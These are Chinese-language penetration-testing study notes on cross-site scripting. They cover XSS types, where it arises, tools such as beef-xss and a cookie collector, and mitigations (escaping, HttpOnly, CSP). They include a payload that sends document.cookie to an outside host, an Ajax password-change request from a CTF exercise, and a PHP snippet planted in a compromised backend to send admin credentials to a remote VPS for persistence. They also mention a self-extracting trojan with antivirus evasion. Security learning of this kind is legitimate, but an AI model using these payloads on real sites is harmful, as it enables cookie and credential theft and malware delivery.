XSS
在已有XSS知识上做的一些补充
- 产生的地方
- 数据交互的地方
- get、post、headers
- 反馈与浏览
- 富文本编辑器
- 各类标签插入和自定义
- 数据输出的地方
- 用户资料
- 关键词、标签、说明
- 文件上传
- 分类
反射型(非持久型)
存储型(持久型)
DOM型
mXSS(突变型XSS)
简单来说就是本身被过滤成其他字符,但是在转发的时候重新识别转换回来了
UXSS(通用型XSS)
利用浏览器或者浏览器拓展漏洞来来制造产生XSS并执行代码的一种攻击类型
CVE-2021-34506
BV1FM4y1M7a8
Flash XSS
swf反编译:JPEXS Free Flash Decompiler
可查询:ExternalInterface.call看哪里调用JS代码
PDFXSS
PDF编辑的时候插入动作,此时可以插入JavaScript脚本,写入恶意的XSS代码后,通过文件上传获取直链,访问后会触发
上传到可信网站应用于钓鱼
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS
获取Cookies:https://xss.pt/xss.php
有一种可能:获取到的Cookies不全(比如httponly、存在session)
kali上有beef-xss
- 挖掘思路
个人信息,留言板,评论等,多注意观察URL变化,XSS是很好防御的,加个过滤就好了
- 补充
xxx.html?参数=javascript:alert('1') |
以JavaScript代码执行
<script> window.location.href='http://xxx'+document.cookie</script> |
window.location.href='':自动跳转到该网址
document.cookie:获取Cookies
<script> |
ctfshow329
密码选项来源于laytable-cell-1-0-1这个标签
针对于Cookies失效的问题,则不获取Cookies,在触发JS的时候直接得到想要的内容(利用JS获取当前页面源代码)
<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script> |
利用Ajax通过post传参
- XSS后台植入Cookies&表单劫持
条件:前期已取得权限
代码中插入这段
$up='<script src=http://远程vps地址/get.php?user='.$admin_name.'&pass='.$admin_pass.'></script>'; |
而远程vps的get.php中写入
|
达到权限维持
- 制作自解压,然后利用XSS
还可以使用Restorator修改图标,还有做免杀
第2次执行这个压缩包时,前一次解压出来的木马已经存在,所以解压前运行木马文件可以正常上线
- 绕过&防护
-
过滤一些危险字符,转义&、<、>、"、'等危险字符
自定义过滤函数引用
-
HTTP-only Cookie
php.ini设置或代码引用
session.cookie_httponly=1
ini_set("session.cookie_httponly",1) -
设置CSP(Content Security Policy)
header("Content-Security-Policy:img-src 'self' ");
//只允许加载本地源图片 -
输入内容长度限制、实体转义等